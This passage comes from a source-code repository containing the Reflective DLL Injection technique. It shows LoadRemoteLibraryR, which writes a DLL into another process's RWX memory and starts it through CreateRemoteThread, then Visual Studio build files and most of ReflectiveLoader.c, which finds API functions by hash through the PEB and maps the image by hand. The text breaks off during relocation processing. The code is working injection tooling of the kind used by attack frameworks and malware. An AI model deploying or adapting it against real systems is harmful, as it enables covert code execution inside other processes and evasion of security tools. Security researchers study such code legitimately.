flags... 168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 169 | } 170 | } 171 | } 172 | __except( EXCEPTION_EXECUTE_HANDLER ) 173 | { 174 | hResult = NULL; 175 | } 176 | 177 | return hResult; 178 | } 179 | //===============================================================================================// 180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 182 | // defined in order to use the correct RDI prototypes. 183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) 189 | { 190 | BOOL bSuccess = FALSE; 191 | LPVOID lpRemoteLibraryBuffer = NULL; 192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 193 | HANDLE hThread = NULL; 194 | DWORD dwReflectiveLoaderOffset = 0; 195 | DWORD dwThreadId = 0; 196 | 197 | __try 198 | { 199 | do 200 | { 201 | if( !hProcess || !lpBuffer || !dwLength ) 202 | break; 203 | 204 | // check if the library has a ReflectiveLoader... 205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 206 | if( !dwReflectiveLoaderOffset ) 207 | break; 208 | 209 | // alloc memory (RWX) in the host process for the image... 210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 211 | if( !lpRemoteLibraryBuffer ) 212 | break; 213 | 214 | // write the image into the host process... 215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 216 | break; 217 | 218 | // add the offset to ReflectiveLoader() to the remote library address... 219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 220 | 221 | // create a remote thread in the host process to call the ReflectiveLoader! 222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); 223 | 224 | } while( 0 ); 225 | 226 | } 227 | __except( EXCEPTION_EXECUTE_HANDLER ) 228 | { 229 | hThread = NULL; 230 | } 231 | 232 | return hThread; 233 | } 234 | //===============================================================================================// 235 | -------------------------------------------------------------------------------- /windows版/inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | ARM 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | ARM 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335} 31 | inject 32 | Win32Proj 33 | 34 | 35 | 36 | Application 37 | v110 38 | MultiByte 39 | true 40 | 41 | 42 | Application 43 | v110 44 | MultiByte 45 | true 46 | 47 | 48 | Application 49 | v110 50 | Unicode 51 | 52 | 53 | Application 54 | v110 55 | Unicode 56 | 57 | 58 | Application 59 | v110 60 | MultiByte 61 | true 62 | 63 | 64 | Application 65 | v110 66 | Unicode 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | <_ProjectFileVersion>11.0.50727.1 92 | 93 | 94 | $(SolutionDir)$(Configuration)\ 95 | $(Configuration)\ 96 | true 97 | 98 | 99 | true 100 | 101 | 102 | $(SolutionDir)$(Platform)\$(Configuration)\ 103 | $(Platform)\$(Configuration)\ 104 | true 105 | 106 | 107 | $(SolutionDir)$(Configuration)\ 108 | $(Configuration)\ 109 | false 110 | 111 | 112 | false 113 | 114 | 115 | $(SolutionDir)$(Platform)\$(Configuration)\ 116 | $(Platform)\$(Configuration)\ 117 | false 118 | 119 | 120 | 121 | Disabled 122 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 123 | true 124 | EnableFastChecks 125 | MultiThreadedDebugDLL 126 | 127 | Level3 128 | EditAndContinue 129 | 130 | 131 | true 132 | Console 133 | MachineX86 134 | 135 | 136 | 137 | 138 | Disabled 139 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 140 | true 141 | EnableFastChecks 142 | MultiThreadedDebugDLL 143 | 144 | 145 | Level3 146 | EditAndContinue 147 | 148 | 149 | true 150 | Console 151 | 152 | 153 | 154 | 155 | X64 156 | 157 | 158 | Disabled 159 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 160 | true 161 | EnableFastChecks 162 | MultiThreadedDebugDLL 163 | 164 | Level3 165 | ProgramDatabase 166 | 167 | 168 | true 169 | Console 170 | MachineX64 171 | 172 | 173 | 174 | 175 | MaxSpeed 176 | true 177 | WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions) 178 | MultiThreaded 179 | true 180 | 181 | Level3 182 | ProgramDatabase 183 | 184 | 185 | true 186 | Console 187 | true 188 | true 189 | MachineX86 190 | 191 | 192 | copy ..\Release\inject.exe ..\bin\ 193 | 194 | 195 | 196 | 197 | MaxSpeed 198 | true 199 | WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) 200 | MultiThreaded 201 | true 202 | 203 | 204 | Level3 205 | ProgramDatabase 206 | 207 | 208 | true 209 | Console 210 | true 211 | true 212 | $(OutDir)inject.arm.exe 213 | %(AdditionalDependencies) 214 | 215 | 216 | copy ..\ARM\Release\inject.arm.exe ..\bin\ 217 | 218 | 219 | 220 | 221 | X64 222 | 223 | 224 | MaxSpeed 225 | true 226 | WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions) 227 | MultiThreaded 228 | true 229 | 230 | Level3 231 | ProgramDatabase 232 | 233 | 234 | $(OutDir)inject.x64.exe 235 | true 236 | Console 237 | true 238 | true 239 | MachineX64 240 | 241 | 242 | copy ..\x64\Release\inject.x64.exe ..\bin\ 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | -------------------------------------------------------------------------------- /windows版/dll/reflective_dll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | ARM 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | ARM 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} 31 | reflective_dll 32 | Win32Proj 33 | 34 | 35 | 36 | DynamicLibrary 37 | v110 38 | MultiByte 39 | true 40 | 41 | 42 | DynamicLibrary 43 | v110 44 | MultiByte 45 | true 46 | 47 | 48 | DynamicLibrary 49 | v110 50 | Unicode 51 | 52 | 53 | DynamicLibrary 54 | v110 55 | Unicode 56 | 57 | 58 | DynamicLibrary 59 | v110 60 | MultiByte 61 | false 62 | 63 | 64 | DynamicLibrary 65 | v110 66 | Unicode 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | <_ProjectFileVersion>11.0.50727.1 92 | 93 | 94 | $(SolutionDir)$(Configuration)\ 95 | $(Configuration)\ 96 | true 97 | 98 | 99 | true 100 | 101 | 102 | $(SolutionDir)$(Platform)\$(Configuration)\ 103 | $(Platform)\$(Configuration)\ 104 | true 105 | 106 | 107 | $(SolutionDir)$(Configuration)\ 108 | $(Configuration)\ 109 | false 110 | 111 | 112 | false 113 | 114 | 115 | $(SolutionDir)$(Platform)\$(Configuration)\ 116 | $(Platform)\$(Configuration)\ 117 | false 118 | 119 | 120 | 121 | Disabled 122 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) 123 | true 124 | EnableFastChecks 125 | MultiThreadedDebugDLL 126 | 127 | Level3 128 | EditAndContinue 129 | 130 | 131 | true 132 | Windows 133 | MachineX86 134 | 135 | 136 | 137 | 138 | Disabled 139 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) 140 | true 141 | EnableFastChecks 142 | MultiThreadedDebugDLL 143 | 144 | 145 | Level3 146 | EditAndContinue 147 | 148 | 149 | true 150 | Windows 151 | 152 | 153 | 154 | 155 | X64 156 | 157 | 158 | Disabled 159 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) 160 | true 161 | EnableFastChecks 162 | MultiThreadedDebugDLL 163 | 164 | Level3 165 | ProgramDatabase 166 | 167 | 168 | true 169 | Windows 170 | MachineX64 171 | 172 | 173 | 174 | 175 | MaxSpeed 176 | OnlyExplicitInline 177 | true 178 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 179 | MultiThreaded 180 | true 181 | 182 | Level3 183 | ProgramDatabase 184 | 185 | 186 | true 187 | Windows 188 | true 189 | true 190 | MachineX86 191 | 192 | 193 | copy ..\Release\reflective_dll.dll ..\bin\ 194 | 195 | 196 | 197 | 198 | MinSpace 199 | OnlyExplicitInline 200 | true 201 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 202 | MultiThreaded 203 | true 204 | 205 | 206 | Level3 207 | ProgramDatabase 208 | true 209 | Default 210 | 211 | 212 | true 213 | Windows 214 | true 215 | true 216 | $(OutDir)$(ProjectName).arm.dll 217 | 218 | 219 | copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ 220 | 221 | 222 | 223 | 224 | X64 225 | 226 | 227 | MaxSpeed 228 | OnlyExplicitInline 229 | true 230 | Size 231 | false 232 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 233 | MultiThreaded 234 | true 235 | 236 | Level3 237 | ProgramDatabase 238 | CompileAsCpp 239 | 240 | 241 | $(OutDir)$(ProjectName).x64.dll 242 | true 243 | Windows 244 | true 245 | true 246 | MachineX64 247 | 248 | 249 | copy $(OutDir)$(ProjectName).x64.dll ..\bin\ 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | -------------------------------------------------------------------------------- /windows版/dll/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter ); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( 